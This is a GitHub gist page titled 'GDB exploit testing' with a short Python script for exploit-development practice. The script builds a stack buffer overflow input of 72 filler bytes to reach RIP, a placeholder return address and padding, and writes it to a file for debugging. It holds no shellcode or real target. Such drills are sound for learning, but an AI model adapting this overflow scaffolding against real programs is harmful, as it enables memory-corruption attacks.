Skip to content

Instantly share code, notes, and snippets.

@dualfade
Created March 16, 2019 02:22
Show Gist options
  • Save dualfade/938943cf573471944206e3e53bb5f3e3 to your computer and use it in GitHub Desktop.
Save dualfade/938943cf573471944206e3e53bb5f3e3 to your computer and use it in GitHub Desktop.
GDB exploit testing --
#!/usr/bin/env python
from struct import *
# bytes 400 --
buf = ""
# offset to RIP
buf += "A"*72
# overwrite RIP --
buf += pack("<Q", 0x424242424242)
# padding to 400 bytes
buf += "C"*322
f = open("in.txt", "w")
f.write(buf)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment